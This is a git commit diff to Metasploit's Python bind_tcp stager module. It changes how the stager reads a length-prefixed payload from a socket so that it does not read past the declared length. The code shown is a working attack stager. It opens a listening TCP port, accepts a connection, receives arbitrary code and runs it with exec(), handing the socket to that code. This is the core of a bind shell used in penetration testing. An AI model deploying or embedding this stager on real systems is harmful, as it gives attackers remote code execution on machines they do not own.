Update bind_tcp.rb

Prevent over reading from socket
bug/bundler_fix
eyalgr 2015-01-18 15:35:56 +02:00
parent d83c6ae215
commit 18e15a109a
1 changed files with 3 additions and 3 deletions

View File

@ -36,9 +36,9 @@ module Metasploit3
cmd << "s.listen(1)\n" cmd << "s.listen(1)\n"
cmd << "c,a=s.accept()\n" cmd << "c,a=s.accept()\n"
cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" cmd << "l=struct.unpack('>I',c.recv(4))[0]\n"
cmd << "d=c.recv(4096)\n" cmd << "d=c.recv(min(4096,l))\n"
cmd << "while len(d)!=l:\n" cmd << "while len(d)<l:\n"
cmd << "\td+=c.recv(4096)\n" cmd << "\td+=c.recv(min(4096,l-len(d)))\n"
cmd << "exec(d,{'s':c})\n" cmd << "exec(d,{'s':c})\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop # Base64 encoding is required in order to handle Python's formatting requirements in the while loop